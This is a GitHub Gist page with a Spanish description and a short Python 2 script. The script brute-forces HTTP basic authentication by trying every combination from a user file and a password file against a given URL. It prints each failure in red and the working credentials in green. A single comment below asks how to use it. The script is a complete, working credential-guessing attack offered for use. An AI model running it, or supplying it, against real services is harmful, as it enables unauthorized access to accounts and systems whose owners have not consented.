Created
September 19, 2013 14:44
-
-
Save XayOn/6624584 to your computer and use it in GitHub Desktop.
Como hacer un brute force cracker para autenticación básica http en veinte lineas de python, con coloricos y todo. Argumentos: <fichero de usuarios> <fichero de contraseñas> <url>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from termcolor import colored | |
import sys, mechanize | |
with open(sys.argv[1]) as userfile: | |
users = [u.strip() for u in userfile.readlines()] | |
with open(sys.argv[2]) as pwfile: | |
passwords = [u.strip() for u in pwfile.readlines()] | |
for user in users: | |
for password in passwords: | |
try: | |
b = mechanize.Browser() | |
b.add_password(sys.argv[3], user, password) | |
b.open(sys.argv[3], "") | |
except Exception, e: | |
print(colored("%s:%s - %s" %(user, password, e), "red")) | |
else: | |
print(colored("Correct combination: %s:%s" %(user, password), "green")) | |
break |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
how do i use it